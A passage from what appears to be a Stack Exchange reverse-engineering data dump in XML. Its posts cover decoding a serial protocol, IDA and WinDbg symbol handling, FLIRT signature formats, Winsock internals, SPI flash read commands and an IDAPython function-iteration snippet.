there (like, a 'Decode Mystery Protocol' button) that would justify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does anyone recognise the format described above? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there better tools for RS232 (actually via USB-serial adapter) sniffing? I found USBpcap (hxxp://desowin.org/usbpcap/) which can generate wireshark traces, but digging though it for the actual serial data was tedious, and capture isn't realtime.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What would people suggest my next moves be (keep hacking at black-box csv/wire-data, decompile, or debug?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If debug, is ollydbg capable of breakpointing on serial port read (and where might I find n00b-level docs on how to do so?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If decompile, what approach should I take (forward from port read, or back from csv/strings? Again, pointers to how to do that would be great.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If black-box, any inspiration as to the structure of the &lt;code&gt;{DL20...}&lt;/code&gt; messages in particular?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect it breaks down something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;DL20&lt;/code&gt; - not sure what the 20 indicates. Length of some kind?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;I000020&lt;/code&gt; - clearly some sort of index/address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;V&lt;/code&gt; - Marker for 'vector'/array data to follow?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;FF140200DE070900010001000D000100&lt;/code&gt; Entry #1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;FF0C0200DE076E006E000300A5075904&lt;/code&gt; Entry #2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each entry contains a date (dd/mm/yy, probably in a weird format like 'fractional number of fortnights since first summer solstice following the Fall of Rome'), and a bunch of integer and fractional (fixed point rather than float, probably)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some fields are I think 16 bit, and little-endian (Entry#2 last 4 bytes is 0x0459 which matches observed data)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;C953&lt;/code&gt; - Not sure, maybe checksum or CRC? Tried a few obvious standards taht don't match it though, and might be over the whole packet or just the data.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[Apologies for the broken links, need more rep to add &gt;2 apparently]&lt;/p&gt;&#xA;" OwnerUserId="4131" LastActivityDate="2022-08-02T15:03:56.003" Title="Decoding the wire protocol (over RS232) for custom hardware &lt;-&gt; windows application?" Tags="|ollydbg|encodings|serial-communication|hopper|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3847" PostTypeId="2" ParentId="3845" CreationDate="2014-03-11T02:38:46.963" Score="7" Body="&lt;p&gt;By decrementing, compiler can make use of &lt;code&gt;jne&lt;/code&gt; (jump if not equal/zero) which does the comparison (to zero) and jump in a single instruction. In case of incrementing, it would have to do a &lt;code&gt;cmp/test&lt;/code&gt; (with 10) and then a conditional jump like &lt;code&gt;jnz/jne&lt;/code&gt;. I believe it is a part of optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-Os&lt;/code&gt; flag optimizes to bring down the code size. The code generated using &lt;code&gt;-Os&lt;/code&gt; uses &lt;code&gt;dec ebx&lt;/code&gt; instead of &lt;code&gt;sub ebx, 0x1&lt;/code&gt;, since &lt;code&gt;dec ebx&lt;/code&gt; is a 2-byte instruction while &lt;code&gt;sub ebx, 0x1&lt;/code&gt; is a 3-byte instruction (Note the address at which the next instruction begins). That explains the small difference.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="3574" LastEditDate="2014-03-11T07:16:26.420" LastActivityDate="2014-03-11T07:16:26.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3848" PostTypeId="2" ParentId="3845" CreationDate="2014-03-11T06:00:03.183" Score="5" Body="&lt;p&gt;Because I can't comment, I'll try to fix some inaccuracies in pnak4j's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dec ebx&lt;/code&gt; is really a 1-byte instruction (I don't know why it appears to be 2-bytes). &lt;code&gt;DEC&lt;/code&gt; sets the &lt;code&gt;ZF&lt;/code&gt; flag accordingly to the result of (&lt;code&gt;ebx-1&lt;/code&gt;) when: zero or not zero. Then, &lt;code&gt;JNE&lt;/code&gt; does the jump if not zero (&lt;code&gt;JNE&lt;/code&gt;/&lt;code&gt;JNZ&lt;/code&gt; are the same). &lt;code&gt;JMP&lt;/code&gt; is not a conditional jump, therefore it would not make much sense after &lt;code&gt;CMP&lt;/code&gt;/&lt;code&gt;TEST&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4054" LastEditorUserId="53" LastEditDate="2014-03-11T07:50:18.540" LastActivityDate="2014-03-11T07:50:18.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3849" PostTypeId="2" ParentId="3846" CreationDate="2014-03-11T07:30:22.423" Score="6" Body="&lt;p&gt;My guess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DL20I000000V80050300DE076A0012000400AF002400FF030300DE0700000000010003000000B883&#xA;^^  ^      ^                                                                ^^^^&#xA;||  Addr   Data                                                            CRC16&#xA;|` Length&#xA;` Data tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;D for data&lt;/li&gt;&#xA;&lt;li&gt;L20 for 0x20 or 32 hex bytes, or 64 hex digits&lt;/li&gt;&#xA;&lt;li&gt;I000000 the address (note it increases by 0x20 per row, supporting both L20 as length and I as address)&lt;/li&gt;&#xA;&lt;li&gt;V the data, size matching L&lt;/li&gt;&#xA;&lt;li&gt;And a 16-bit CRC or checksum, supported by the final rows which are &quot;all 0&quot; except each with a unique checksum, suggesting the address is part of the formula.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It looks vaguely like a flash file format for programming PROMs or microcontrollers.  IHEX doesn't have letters.  SREC is similar to what you have.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2014-03-11T07:30:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3850" PostTypeId="1" AcceptedAnswerId="3920" CreationDate="2014-03-11T10:45:24.523" Score="9" ViewCount="2393" Body="&lt;p&gt;When I have a kernel module without symbols, I'd typically first open it in IDA and give names to some of the subroutines (those I'm interested in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I prefer my kernel debugging with plain WinDbg (and not the IDA-integrated WinDbg), I'd like WinDbg to recognize the names IDA (and me) gave to those addresses. That way, a) I could break on those functions by name, change variables by name, and b) WinDbg's output and views would read better (in stack traces etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, IDA has no &quot;create PDB&quot; feature, and I don't even see a non-PDB way of importing addresses into WinDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas, anyone?&lt;/p&gt;&#xA;" OwnerUserId="4136" LastEditorUserId="4136" LastEditDate="2014-03-11T13:49:47.050" LastActivityDate="2020-09-22T19:11:28.150" Title="Importing list of functions and addresses into WinDbg" Tags="|ida|windbg|symbols|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3851" PostTypeId="2" ParentId="3846" CreationDate="2014-03-11T14:13:54.380" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/netzob/netzob&quot; rel=&quot;nofollow noreferrer&quot;&gt;Netzob&lt;/a&gt; is a tool expressly built for this purpose.  I have nothing to do with the creation of the tool, and it does still have bugs in my experience, but it's very useful for this kind of reverse engineering of protocols.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="16849" LastEditDate="2022-08-02T15:03:56.003" LastActivityDate="2022-08-02T15:03:56.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3852" PostTypeId="2" ParentId="3843" CreationDate="2014-03-11T14:42:23.930" Score="8" Body="&lt;p&gt;If you goal is to push the changes back to the original binary, then for IDA 6.1, your best bet is to use a combination of the &lt;code&gt;Edit/Patch Program&lt;/code&gt; menu and the editing capabilities of the &lt;code&gt;Hex View&lt;/code&gt; window to make the changes that you want. If you are looking at PPC code, unfortunately the PPC processor module does not support the &lt;code&gt;Assemble...&lt;/code&gt; command on the &lt;code&gt;Patch Program&lt;/code&gt; menu. Once you have made the changes that you want, use the &lt;code&gt;File/Produce file/Create DIF file&lt;/code&gt; menu item to save an IDA style dif file. There is a utility here: &lt;a href=&quot;http://idabook.com/examples/chapter_14/ida_patcher.c&quot; rel=&quot;noreferrer&quot;&gt;http://idabook.com/examples/chapter_14/ida_patcher.c&lt;/a&gt; that may be used to apply your dif against the original binary to patch it.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-03-11T14:42:23.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3854" PostTypeId="1" AcceptedAnswerId="3855" CreationDate="2014-03-12T01:35:57.983" Score="1" ViewCount="313" Body="&lt;p&gt;In tracing how the recv function works on Windows, I observe the following trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x743817d2  push eax                      C:\windows\system32\WSOCK32.dll recv                     &#xA;0x743817d3  push dword ptr [ebp+0x8]      C:\windows\system32\WSOCK32.dll recv                     &#xA;0x743817d6  call 0x7438193e               C:\windows\system32\WSOCK32.dll recv                     &#xA;0x7438193e  jmp dword ptr [0x74381000]    C:\windows\system32\WSOCK32.dll setsockopt               &#xA;0x77287089  mov edi, edi                  C:\windows\syswow64\WS2_32.dll  WSARecv                  &#xA;0x7728708b  push ebp                      C:\windows\syswow64\WS2_32.dll  WSARecv                  &#xA;0x7728708c  mov ebp, esp                  C:\windows\syswow64\WS2_32.dll  WSARecv  &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, once again I found it quite strange. First, there is a direct call: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call 0x7438193e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside &lt;code&gt;recv&lt;/code&gt;. I still do not understand why that works: since the &lt;code&gt;WSOCK32.dll&lt;/code&gt; (containing &lt;code&gt;recv&lt;/code&gt;) will be loaded &quot;arbitrarily&quot; in the user-space, how does &lt;code&gt;recv&lt;/code&gt; guarantee that the &lt;code&gt;setsockopt&lt;/code&gt; locates at this address?. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I see nowhere in the application (here it is wget) can modify the memory at &lt;code&gt;0x74381000&lt;/code&gt; (that is the target of &lt;code&gt;jmp&lt;/code&gt; inside &lt;code&gt;setsockopt&lt;/code&gt;), so normally the value at this address is always &lt;code&gt;0x77287089&lt;/code&gt; and that means &lt;em&gt;&lt;code&gt;recv&lt;/code&gt; calls always &lt;code&gt;WSARecv&lt;/code&gt;&lt;/em&gt;(!!!). I doubt that is not true because there is no official document (i.e. MSDN) saying that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any consideration.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2014-03-14T21:27:57.350" LastActivityDate="2014-03-14T21:27:57.350" Title="Directed call inside recv" Tags="|binary-analysis|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3855" PostTypeId="2" ParentId="3854" CreationDate="2014-03-12T02:14:02.900" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how does recv know that the setsockopt locates at this address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The relative virtual address of the function &lt;code&gt;setsockopt&lt;/code&gt; is in &lt;code&gt;WSOCK32.dll&lt;/code&gt;'s Export Table, so your disassembler/debugger was smart enough to match the virtual address &lt;code&gt;0x74381000&lt;/code&gt; to the relative virtual address of &lt;code&gt;setsockopt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;recv calls always WSARecv&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's correct; in Winsock, &lt;code&gt;recv&lt;/code&gt; is a wrapper around &lt;code&gt;WSARecv&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-12T02:14:02.900" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3856" PostTypeId="1" AcceptedAnswerId="3862" CreationDate="2014-03-12T08:51:01.533" Score="1" ViewCount="2161" Body="&lt;p&gt;IDA startup signatures are sets of signatures used in FLIRT to detect what library is used in a static linked executable .&lt;br&gt;&#xA;I am about to use these signatures to detect which library is used in an executable file .&#xA;&lt;br&gt;I must use pattern files in IDA FLAIR in startup folder .&lt;br&gt;but i don't know it's format and what does each field mean (:?)&lt;br&gt;&#xA;here are a few sample pattern :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1)8BFF558BECE8........E8........5DC3.............................. 00 0000 0011 :0000 s=A/- ^0006 ___security_init_cookie ^000B ___tmainCRTStartup&#xA;2)6A0C68........E8........8BF98BF28B5D0833C0408945E485F6750C3915.. 00 0000 00F6 :0000 o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@; :00E4@ $LN18 :00E3@ $LN25 :00D3@ $LN29 :00D3@ $LN17 ^0003 __sehtable$___DllMainCRTStartup ^0008 __SEH_prolog4 ^001F ___proc_attached ^0037 __pRawDllMain ^0055 __CRT_INIT@12 ^0068 _DllMain@12 ^00DD ___CppXcptFilter ^00F1 __SEH_epilog4 ......0F84C50000008365FC003BF0740583FE02752EA1........85C07408575653FFD08945E4837DE4000F8496000000575653E8........8945E485C00F8483000000575653E8........8945E483FE01752485C07520575053E8........576A0053E8........A1........85C07406576A0053FFD085F6740583FE037526575653E8........85C075032145E4837DE4007411A1........85C07408575653FFD08945E4C745FCFEFFFFFF8B45E4EB1D8B45EC8B088B095051E8........5959C38B65E8C745FCFEFFFFFF33C0E8........C3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;i could 't find any relevant content on the internet.&#xA;can any body help me about the format?&#xA;&lt;br&gt;&#xA;More about my need:&#xA;&lt;br&gt;&#xA;I want to find library functions in PE files (on my own program not by IDA) and ,as there are a huge amount of FLAIR pattern for all libraries , I cannot load them altogether because of memory and speed issues .&lt;br&gt;&#xA;I have also read pat.txt in IDA FLAIR and i know the patterns format but startup signatures format is a bit different and has new parts so I want to know about these new parts like :&#xA;&lt;code&gt;&#xA;o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4148" LastEditorUserId="11830" LastEditDate="2021-10-07T09:28:32.090" LastActivityDate="2021-10-07T09:28:32.090" Title="IDA startup signatures format" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3859" PostTypeId="1" AcceptedAnswerId="3860" CreationDate="2014-03-12T21:15:15.260" Score="3" ViewCount="5998" Body="&lt;p&gt;I'm looking to define a structure in IDA like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct StructA {&#xA;    int a;&#xA;    int b;&#xA;} StructA;&#xA;&#xA;struct StructB {&#xA;    StructA a;&#xA;    int b;&#xA;} StructB;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I do this in IDA's structure definition box without having to redefine all the members from &lt;code&gt;StructA&lt;/code&gt; in &lt;code&gt;StructB&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2898" LastActivityDate="2014-03-12T21:54:26.327" Title="When defining a structure in IDA, can I define a field that is of another struct type?" Tags="|ida|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3860" PostTypeId="2" ParentId="3859" CreationDate="2014-03-12T21:54:26.327" Score="5" Body="&lt;p&gt;Yes. In &lt;code&gt;StructB&lt;/code&gt;, select the field you want to convert to a sub-structure or create a new field by pressing &lt;kbd&gt;D&lt;/kbd&gt;. With the given field selected, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; and select &lt;code&gt;StructA&lt;/code&gt; for the field.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-12T21:54:26.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3861" PostTypeId="2" ParentId="3836" CreationDate="2014-03-12T22:22:27.823" Score="5" Body="&lt;p&gt;I finally solved my problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DIA stands for Debug Interface Access and is the component used to correctly read PDB files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The msdia90.dll used doesn't seem to have been installed with the VS 2013 redistributables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to install the 2008 redistributables to get the correct dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved my problem thanks to &lt;a href=&quot;http://download.tuxfamily.org/overclokblog/PDB%20ain%27t%20PDD/0vercl0k_pdb_aint_pdd.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://download.tuxfamily.org/overclokblog/PDB%20ain%27t%20PDD/0vercl0k_pdb_aint_pdd.pdf&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3049" LastActivityDate="2014-03-12T22:22:27.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3862" PostTypeId="2" ParentId="3856" CreationDate="2014-03-13T06:05:42.387" Score="3" Body="&lt;p&gt;First, you should begin by reading through pat.txt which is included with the IDA flair utilities. It describes the format of .pat files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second it would be helpful if you can clarify what you are trying to do. What processor/file type are you working with? In many cases you do not need to directly manipulate .pat files at all since Hex-Rays provides tools to generate .pat files and .sig files from those .pat files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, it is not clear exactly what type of signatures you are trying to work with and why. IDA &quot;startup&quot; signatures are a special form of signature used the when you first create a database for a new binary file. The purpose of startup signatures is to identify startup routines and the compiler used to create the binary. This may in turn trigger the loading of additional library signature files. Library signature files are the ones used to recognize the presence of library code that has been statically linked into a binary. Signatures are usually generated by parsing a copy of the static link libraries that were linked into the binary you are interested in. The most common case for needing to understand the .pat file format is when the parsers that Hex-Rays ships with flair are not capable of parsing the link libraries that you are trying to create patterns from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link may also be useful: &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays FLIRT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-03-13T06:05:42.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3863" PostTypeId="1" AcceptedAnswerId="3864" CreationDate="2014-03-13T06:15:19.727" Score="4" ViewCount="539" Body="&lt;p&gt;I am looking at a SPI EEPROM chip on board which is unfortunately hidden under an epoxy blob.  However, I was able to determine the pinout thanks to the silkscreen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dumping the EEPROM with a Bus Pirate, I figured that the EEPROM is 16K since the dumped data seems to repeat every 0x4000 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hooked up a logic analyzer to the pins and monitored communication with the EEPROM while the device booted.  The sniffed communication looks very much like SPI (as it should), however there is a slight discrepancy from the spec I haven't figured out yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've screenshotted three examples of what seems to be a READ operation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PFQ2t.png&quot; alt=&quot;Screenshot 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nrxvL.png&quot; alt=&quot;Screenshot 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9cWYB.png&quot; alt=&quot;Screenshot 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first byte is 0x03 (READ), followed by three bytes, and a two-byte response on MISO.  According to the SPI protocol, a READ opcode should be immediately followed by a two-byte address.  Then, data is returned from that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;em&gt;three&lt;/em&gt; bytes follow the READ opcode, not two.  Looking at each example, the first byte always seems to be 0x00.  The next two bytes may conceivably be the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions boil down to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this normal behavior for SPI chips?&lt;/li&gt;&#xA;&lt;li&gt;How should this seemingly non-standard communication be interpreted?&lt;/li&gt;&#xA;&lt;li&gt;Are there more effective ways of decoding this captured traffic into human-readable SPI commands?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2014-03-13T14:40:59.517" Title="Potentially non-standard SPI communication" Tags="|hardware|spi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3864" PostTypeId="2" ParentId="3863" CreationDate="2014-03-13T14:40:59.517" Score="7" Body="&lt;p&gt;There is no SPI specification that dictates things like read codes or address lengths, AFAIK; these are chip-specific and have been generally standardized by vendors of SPI EEPROMs and flash chips (though I&quot;m not aware of any formal agreement among vendors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most SPI EEPROMs use two bytes to specify the read address, because they are so small that they only need two bytes to address all of the memory on the chip. Most SPI flash chips are larger and use three bytes (they also use the same READ and WRITE codes that SPI EEPROMs do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you are seeing appears to be valid; if I had to guess, I'd say that the chip under the epoxy is an SPI flash chip rather than an EEPROM, but from the standpoint of reading the data from the chip there's little difference, besides the length of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not explain why your data appears to be repeating every 0x4000 bytes though. One thing you can try is the RDID command (0x9F) that is implemented by most SPI flash chips (though not EEPROMs to my knowledge). This should return a 3-byte value identifying the manufacturer ID, the device ID and the memory density (aka, the size of the chip). &lt;a href=&quot;http://www.mxic.com.tw/Lists/DataSheet/Attachments/1599/MX25L1006E,%203V,%201Mb,%20v1.3.pdf&quot;&gt;Here&lt;/a&gt; is a datasheet from a typical SPI flash chip which provides more detail on the typical RDID implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is an SPI flash chip, I would expect the RDID command to work, and you'll know for sure what the size of the chip is; if it doesn't work, then I would venture to guess that this is an EEPROM chip whose vendor decided (for whatever reason) to use 3-byte addresses instead of 2.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-03-13T14:40:59.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3865" PostTypeId="1" CreationDate="2014-03-13T20:16:32.577" Score="2" ViewCount="1754" Body="&lt;p&gt;I'm trying to catch epilogue/prologue of functions in IDApython. Anyone got clue/snippet/algorithm of how should I do this?&lt;/p&gt;&#xA;" OwnerUserId="3119" LastEditorUserId="53" LastEditDate="2014-03-16T19:25:25.090" LastActivityDate="2014-03-16T19:25:25.090" Title="Detecting epilogue/prologue of functions" Tags="|ida|ida-plugin|idapython|static-analysis|functions|" AnswerCount="2" CommentCount="6" ClosedDate="2014-03-17T02:35:00.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="3866" PostTypeId="1" AcceptedAnswerId="3868" CreationDate="2014-03-13T21:18:31.593" Score="3" ViewCount="599" Body="&lt;p&gt;I'm in the IDA View-A within a subroutine. I've identified the subroutine, and now I want to navigate to the subroutine in the functions window so that I can jump around some of the other subroutines in the vicinity rather quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can search the functions window with &lt;kbd&gt;Alt + T&lt;/kbd&gt;, but I was wondering if there was a shortcut to automatically jump to the currently selected subroutine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more than 200,000 subroutines in the functions window, so searching is slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to navigate directly to the current subroutine, or to navigate directly to a subroutine based on address? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="2898" LastActivityDate="2014-03-14T04:41:23.997" Title="Is it possible/How can I select in the functions window the current subroutine in the IDA View?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3868" PostTypeId="2" ParentId="3866" CreationDate="2014-03-14T04:41:23.997" Score="5" Body="&lt;p&gt;Try &lt;code&gt;ctrl-P&lt;/code&gt; it will take you to the &lt;code&gt;&quot;Choose function to jump to&quot;&lt;/code&gt; window which sounds like what you want.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-03-14T04:41:23.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3869" PostTypeId="2" ParentId="3865" CreationDate="2014-03-14T06:55:50.373" Score="3" Body="&lt;p&gt;Still not entirely clear what you are hoping to do. IDA has no function that will return to you a function's prologue or epilogue. Here is some code that will iterate over all functions with some suggestions of things you might add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for s in idautils.Functions():&#xA;   f = idaapi.get_func(s)&#xA;   e = f.endEA&#xA;   #s is the start of the function e is the end of the function&#xA;   #You can iterate over a functions items with the following&#xA;   for i in idautils.FuncItems(s):&#xA;      #i is the ea of each function item&#xA;      print &quot;%x&quot; % i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have some idea of specific prologues and epilogues you are looking for (push ebp/move ebp, esp? leave/ret? pop ebp/ret?) you can always try to match the corresponding opcode sequences around the start and end EAs. &lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-03-14T06:55:50.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3870" PostTypeId="2" ParentId="3865" CreationDate="2014-03-14T13:29:39.120" Score="1" Body="&lt;p&gt;Although I'm not entirely sure what your end goal is, I have found myself when working with firmware dumps needing to find functions. Depending on the architecture, this can get interesting when you talk about function prologues. I found this &lt;a href=&quot;http://c0nn3ct0r.blogspot.com/2011/12/quickpost-idapython-script-to-identify.html&quot; rel=&quot;nofollow&quot;&gt;script from Milad Kahsari Alhadi Blog&lt;/a&gt; to be useful and might be a good reference for you to look at. Effectively, this script goes through the functions that (as W S commented above) have manually defined or were defined in auto analysis and enumerates part of their &quot;prologue&quot;, then attempts to find similar byte strings within the binary and attempts to MakeCode on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, I have modified this script to run against one file that analyzes well in IDA (aka an ELF for the same architecture) and then spit out the &quot;prologues&quot; to use against a firmware image that I was too lazy to manually find functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I put prologue in quotes because really this script is just taking the first opcode and checking it against mnemonics we &quot;like&quot;. So its not truly finding arbitrary prologues which might be what you are after.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2014-03-14T13:29:39.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3871" PostTypeId="1" CreationDate="2014-03-14T18:17:34.210" Score="3" ViewCount="392" Body="&lt;p&gt;I have been reversing some binaries that either have broken relocation tables (ELF binaries), or due to architecture limitations &quot;build&quot; function addresses arithmetically in a register then branch to the register which wrecks havoc in terms of code readability/cross-referencing. Therefore, I wrote an IDApython script to fix up these calls/references. Effectively the script uses poor man's static tracing and some logic to find what function is being called and creates a cross-reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_cref(ea_from,ea_to,fl_CF)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its current state, I create a repeatable comment or a function comment for readability. This works as shown below, and is MUCH better now that I read what a repeatable comment really is, however it can be somewhat annoying keeping function comments synced with function names in the function window and what not while reversing/documenting the binary. Is there a better way of accomplishing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another nuisance is if I re-run auto-analyze, these comments are cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RVtGj.png&quot; alt=&quot;Repeatable Comments/Function Comments&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-03-14T18:33:53.660" LastActivityDate="2014-03-14T18:33:53.660" Title="Best Practice to handle/document dynamically loaded calls/branches/jumps in IDA" Tags="|ida|idapython|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
